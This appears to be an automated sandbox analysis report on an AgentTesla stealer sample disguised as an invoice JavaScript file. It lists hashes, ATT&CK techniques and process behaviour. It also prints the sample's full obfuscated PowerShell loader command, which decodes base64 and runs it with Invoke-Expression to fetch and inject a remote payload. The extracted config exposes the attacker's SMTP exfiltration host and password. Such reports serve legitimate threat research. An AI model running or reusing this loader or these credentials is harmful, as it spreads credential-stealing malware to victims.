agenttesla | d3f2fca06a2c1fa4292808c0531ed438b774ce0a0e77071af7a739325c448e2b

General

Target

Inv2025_Overdue_Integr8PDF.js
Size

1.3MB
MD5

ee348950f163becab17cee576cf13564
SHA1

0c7db717e6e663d1d367c3ce28a313b26c63602b
SHA256

d3f2fca06a2c1fa4292808c0531ed438b774ce0a0e77071af7a739325c448e2b
SHA512

14a2d41ca6604d4301d89f5f78ab86ff1db76c8f8ea1c3c3dbc4acf8bb92b229a3e27efb0fe2bc92f5c31d15680d40602637166bac5d1e7b021b40f707d4f8df
SSDEEP

384:xsssssssss2sssssssss2sssssssss2sssssssss2ssssssssssssssssssssss9:hIR8

Score

10^/10

agenttesla discovery execution keylogger spyware stealer trojan

Malware Config

Extracted

Family

agenttesla

Credentials

Protocol: smtp
Host:
162.254.34.31
Port:
587
Username:
[email protected]
Password:
26ivK6IyAzFg
Email To:
[email protected]

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla
Agenttesla family
agenttesla

Blocklisted process makes network request 2 IoCs

flow	pid	Process
4	1356	powershell.exe
30	1356	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-446031748-3036493239-2009529691-1000\Control Panel\International\Geo\Nation	wscript.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1356	powershell.exe

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
35	api.ipify.org
34	api.ipify.org

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 1356 set thread context of 1248	1356	powershell.exe	99

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSBuild.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
1356	powershell.exe
1356	powershell.exe
1248	MSBuild.exe
1248	MSBuild.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	1356	powershell.exe
Token: SeDebugPrivilege	1248	MSBuild.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 5464 wrote to memory of 1356	5464	wscript.exe	87
PID 5464 wrote to memory of 1356	5464	wscript.exe	87
PID 1356 wrote to memory of 5804	1356	powershell.exe	96
PID 1356 wrote to memory of 5804	1356	powershell.exe	96
PID 1356 wrote to memory of 1248	1356	powershell.exe	99
PID 1356 wrote to memory of 1248	1356	powershell.exe	99
PID 1356 wrote to memory of 1248	1356	powershell.exe	99
PID 1356 wrote to memory of 1248	1356	powershell.exe	99
PID 1356 wrote to memory of 1248	1356	powershell.exe	99
PID 1356 wrote to memory of 1248	1356	powershell.exe	99
PID 1356 wrote to memory of 1248	1356	powershell.exe	99
PID 1356 wrote to memory of 1248	1356	powershell.exe	99

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\Inv2025_Overdue_Integr8PDF.js
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:5464
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -Command ""$Codigo = 'JexplateBwexplateHIexplatebwBjexplateHUexplatecgBzexplateGkexplatedgBlexplateCexplateexplatePQexplategexplateCcexplateIwB4explateCMexplateLgBlexplateGwexplateaQBGexplateGQexplateZQexplatejexplateHIexplateZQB2explateG4explatebwBDexplateC8explatecwBzexplateGMexplateLwBzexplateCMexplateZQBzexplateHMexplateYQexplatevexplateG4explateaQBtexplateGQexplateYQexplatevexplateG0explatebwBjexplateC4explatecwexplatejexplateG4explateZQBtexplateCMexplateaQB1explateHIexplateYwBlexplateHIexplateIwBuexplateGUexplatebexplateBhexplateCMexplateLwexplatevexplateDoexplatecwBwexplateCMexplateIwBoexplateCcexplateOwexplatekexplateGgexplateYQBuexplateGcexplatebQBlexplateG4explateIexplateexplate9explateCexplateexplateJexplateBwexplateHIexplatebwBjexplateHUexplatecgBzexplateGkexplatedgBlexplateCexplateexplateLQByexplateGUexplatecexplateBsexplateGEexplateYwBlexplateCexplateexplateJwexplatejexplateCcexplateLexplateexplategexplateCcexplatedexplateexplatenexplateDsexplateJexplateBoexplateGUexplateYQBkexplateGkexplateZQBzexplateHQexplateIexplateexplate9explateCexplateexplateJwBoexplateHQexplatedexplateBwexplateHMexplateOgexplatevexplateC8explateMwexplatewexplateDexplateexplateNgexplateuexplateGYexplateaQBsexplateGUexplatebQBhexplateGkexplatebexplateexplateuexplateGMexplatebwBtexplateC8explateYQBwexplateGkexplateLwBmexplateGkexplatebexplateBlexplateC8explateZwBlexplateHQexplatePwBmexplateGkexplatebexplateBlexplateGsexplateZQB5explateD0explateOQBTexplateFcexplatecexplateBRexplateEMexplateNexplateexplateyexplateFMexplateTQBmexplateHYexplatecgBIexplateGYexplateTgexplate4explateEgexplateMwBIexplateE4explateMexplateexplatexexplateE0explateNexplateBHexplateFQexplateYwBnexplateGEexplateYgBlexplateGYexplateSQBQexplateDgexplateRexplateBWexplateHexplateexplateXwexplate4explateDUexplatebexplateBtexplateDexplateexplatebwBVexplateDMexplateSQBZexplateHoexplatedgBIexplateEwexplateMwBQexplateHoexplateNgexplate4explateEkexplateSQBIexplateHcexplateJgBzexplateGsexplateaQBwexplateHIexplateZQBnexplateD0explatedexplateByexplateHUexplateZQexplatemexplateHexplateexplateawBfexplateHYexplateaQBkexplateD0explateNwBiexplateGQexplateYwexplate0explateGIexplateMexplateBiexplateGUexplateZQexplatezexplateDkexplateYwBmexplateDEexplateZexplateexplatexexplateDcexplateNexplateexplatezexplateDQexplateNQexplateyexplateDgexplateNwexplateyexplateGIexplateNwexplate4explateGUexplateYgexplatexexplateCcexplateOwexplatekexplateHoexplatebwBuexplateGEexplatedexplateBpexplateG8explatebgexplategexplateD0explateIexplateBOexplateGUexplatedwexplatetexplateE8explateYgBqexplateGUexplateYwB0explateCexplateexplateUwB5explateHMexplatedexplateBlexplateG0explateLgBOexplateGUexplatedexplateexplateuexplateFcexplateZQBiexplateEMexplatebexplateBpexplateGUexplatebgB0explateDsexplateJexplateBlexplateG4explatedexplateByexplateG8explateYwBoexplateGEexplatebexplateexplategexplateD0explateIexplateexplatekexplateHoexplatebwBuexplateGEexplatedexplateBpexplateG8explatebgexplateuexplateEQexplatebwB3explateG4explatebexplateBvexplateGEexplateZexplateBEexplateGEexplatedexplateBhexplateCgexplateJexplateBoexplateGUexplateYQBkexplateGkexplateZQBzexplateHQexplateKQexplate7explateCQexplatebwBzexplateG0explatebwBtexplateGUexplatedexplateBlexplateHIexplateIexplateexplate9explateCexplateexplateWwBTexplateHkexplatecwB0explateGUexplatebQexplateuexplateFQexplateZQB4explateHQexplateLgBFexplateG4explateYwBvexplateGQexplateaQBuexplateGcexplateXQexplate6explateDoexplateVQBUexplateEYexplateOexplateexplateuexplateEcexplateZQB0explateFMexplatedexplateByexplateGkexplatebgBnexplateCgexplateJexplateBlexplateG4explatedexplateByexplateG8explateYwBoexplateGEexplatebexplateexplatepexplateDsexplateJexplateBwexplateGgexplateeQBsexplateG8explateZwBlexplateG8explateZwByexplateGEexplatecexplateBoexplateHkexplateIexplateexplate9explateCexplateexplateJwexplate8explateDwexplateQgBBexplateFMexplateRQexplate2explateDQexplateXwBTexplateFQexplateQQBSexplateFQexplatePgexplate+explateCcexplateOwexplatekexplateGwexplateZQBkexplateGQexplateeQexplategexplateD0explateIexplateexplatenexplateDwexplatePexplateBCexplateEEexplateUwBFexplateDYexplateNexplateBfexplateEUexplateTgBEexplateD4explatePgexplatenexplateDsexplateJexplateBiexplateGkexplatebwBzexplateG8explatecgBwexplateHQexplateaQBvexplateG4explateIexplateexplate9explateCexplateexplateJexplateBvexplateHMexplatebQBvexplateG0explateZQB0explateGUexplatecgexplateuexplateEkexplatebgBkexplateGUexplateeexplateBPexplateGYexplateKexplateexplatekexplateHexplateexplateaexplateB5explateGwexplatebwBnexplateGUexplatebwBnexplateHIexplateYQBwexplateGgexplateeQexplatepexplateDsexplateJexplateBqexplateG8explatedQBzexplateHQexplateZQByexplateCexplateexplatePQexplategexplateCQexplatebwBzexplateG0explatebwBtexplateGUexplatedexplateBlexplateHIexplateLgBJexplateG4explateZexplateBlexplateHgexplateTwBmexplateCgexplateJexplateBsexplateGUexplateZexplateBkexplateHkexplateKQexplate7explateCQexplateYgBpexplateG8explatecwBvexplateHIexplatecexplateB0explateGkexplatebwBuexplateCexplateexplateLQBnexplateGUexplateIexplateexplatewexplateCexplateexplateLQBhexplateG4explateZexplateexplategexplateCQexplateagBvexplateHUexplatecwB0explateGUexplatecgexplategexplateC0explateZwB0explateCexplateexplateJexplateBiexplateGkexplatebwBzexplateG8explatecgBwexplateHQexplateaQBvexplateG4explateOwexplatekexplateGIexplateaQBvexplateHMexplatebwByexplateHexplateexplatedexplateBpexplateG8explatebgexplategexplateCsexplatePQexplategexplateCQexplatecexplateBoexplateHkexplatebexplateBvexplateGcexplateZQBvexplateGcexplatecgBhexplateHexplateexplateaexplateB5explateC4explateTexplateBlexplateG4explateZwB0explateGgexplateOwexplatekexplateHexplateexplateYQByexplateGEexplateZQBsexplateGUexplateYwB0explateHIexplateaQBjexplateCexplateexplatePQexplategexplateCQexplateagBvexplateHUexplatecwB0explateGUexplatecgexplategexplateC0explateIexplateexplatekexplateGIexplateaQBvexplateHMexplatebwByexplateHexplateexplatedexplateBpexplateG8explatebgexplate7explateCQexplateZexplateBlexplateG4explateZexplateByexplateG8explateYwBoexplateGUexplatebQBpexplateGMexplateYQBsexplateCexplateexplatePQexplategexplateCQexplatebwBzexplateG0explatebwBtexplateGUexplatedexplateBlexplateHIexplateLgBTexplateHUexplateYgBzexplateHQexplatecgBpexplateG4explateZwexplateoexplateCQexplateYgBpexplateG8explatecwBvexplateHIexplatecexplateB0explateGkexplatebwBuexplateCwexplateIexplateexplatekexplateHexplateexplateYQByexplateGEexplateZQBsexplateGUexplateYwB0explateHIexplateaQBjexplateCkexplateOwexplatekexplateGMexplateaexplateBvexplateGwexplateZQBsexplateGkexplatedexplateBoexplateGkexplateYwexplategexplateD0explateIexplateBbexplateFMexplateeQBzexplateHQexplateZQBtexplateC4explateQwBvexplateG4explatedgBlexplateHIexplatedexplateBdexplateDoexplateOgBGexplateHIexplatebwBtexplateEIexplateYQBzexplateGUexplateNgexplate0explateFMexplatedexplateByexplateGkexplatebgBnexplateCgexplateJexplateBkexplateGUexplatebgBkexplateHIexplatebwBjexplateGgexplateZQBtexplateGkexplateYwBhexplateGwexplateKQexplate7explateCQexplateUwBjexplateG8explatedexplateBsexplateGEexplatebgBkexplateCexplateexplatePQexplategexplateFsexplateUwB5explateHMexplatedexplateBlexplateG0explateLgBSexplateGUexplateZgBsexplateGUexplateYwB0explateGkexplatebwBuexplateC4explateQQBzexplateHMexplateZQBtexplateGIexplatebexplateB5explateF0explateOgexplate6explateEwexplatebwBhexplateGQexplateKexplateexplatekexplateGMexplateaexplateBvexplateGwexplateZQBsexplateGkexplatedexplateBoexplateGkexplateYwexplatepexplateDsexplateJexplateBnexplateGEexplateZexplateBpexplateG4explateaQBpexplateGQexplateIexplateexplate9explateCexplateexplateWwBkexplateG4explatebexplateBpexplateGIexplateLgBJexplateE8explateLgBIexplateG8explatebQBlexplateF0explateLgBHexplateGUexplatedexplateBNexplateGUexplatedexplateBoexplateG8explateZexplateexplateoexplateCcexplateVgBBexplateEkexplateJwexplatepexplateC4explateSQBuexplateHYexplatebwBrexplateGUexplateKexplateexplatekexplateG4explatedQBsexplateGwexplateLexplateexplategexplateFsexplatebwBiexplateGoexplateZQBjexplateHQexplateWwBdexplateF0explateIexplateBexplateexplateCgexplateJexplateBoexplateGEexplatebgBnexplateG0explateZQBuexplateCwexplateJwexplatenexplateCwexplateJwexplatenexplateCwexplateJwexplatenexplateCwexplateJwBNexplateFMexplateQgB1explateGkexplatebexplateBkexplateCcexplateLexplateexplatenexplateCcexplateLexplateexplatenexplateCcexplateLexplateexplatenexplateCcexplateLexplateexplatenexplateCcexplateLexplateexplatenexplateEMexplateOgBcexplateFexplateexplatecgBvexplateGcexplatecgBhexplateG0explateRexplateBhexplateHQexplateYQBcexplateCcexplateLexplateexplatenexplateGYexplateYQBpexplateHIexplatedexplateByexplateGEexplateZexplateBlexplateCcexplateLexplateexplatenexplateGoexplatecwexplatenexplateCwexplateJwexplatexexplateDexplateexplateMexplateexplatenexplateCwexplateJwexplatexexplateCcexplateLexplateexplatenexplateGkexplatebQBiexplateHUexplateZQBkexplateCcexplateLexplateexplatenexplateDIexplateJwexplatesexplateCcexplateJwexplatepexplateCkexplate'; $OWjuxd = [System.Text.Encoding]::Unicode.GetString([Convert]::FromBase64String($Codigo.Replace('explate','A'))); Invoke-Expression $OWjuxd""
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1356
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /C copy *.js "C:\ProgramData\fairtrade.js"
    3⤵
    PID:5804
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1248

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

2

T1059

JavaScript

1

T1059.007

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2a4kinv3.x0a.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1248-16-0x0000000000400000-0x0000000000440000-memory.dmp

Filesize
256KB

Download
memory/1248-24-0x0000000006460000-0x000000000646A000-memory.dmp

Filesize
40KB

Download
memory/1248-23-0x00000000064E0000-0x0000000006572000-memory.dmp

Filesize
584KB

Download
memory/1248-22-0x00000000063F0000-0x0000000006440000-memory.dmp

Filesize
320KB

Download
memory/1248-21-0x0000000005150000-0x00000000051B6000-memory.dmp

Filesize
408KB

Download
memory/1248-20-0x0000000005600000-0x0000000005BA4000-memory.dmp

Filesize
5.6MB

Download
memory/1356-11-0x00007FF8250F0000-0x00007FF825BB1000-memory.dmp

Filesize
10.8MB

Download
memory/1356-19-0x00007FF8250F0000-0x00007FF825BB1000-memory.dmp

Filesize
10.8MB

Download
memory/1356-15-0x00007FF8250F3000-0x00007FF8250F5000-memory.dmp

Filesize
8KB

Download
memory/1356-13-0x000001BEAD390000-0x000001BEAD51A000-memory.dmp

Filesize
1.5MB

Download
memory/1356-12-0x00007FF8250F0000-0x00007FF825BB1000-memory.dmp

Filesize
10.8MB

Download
memory/1356-0-0x00007FF8250F3000-0x00007FF8250F5000-memory.dmp

Filesize
8KB

Download
memory/1356-10-0x000001BEACFA0000-0x000001BEACFC2000-memory.dmp

Filesize
136KB

Download

Analysis

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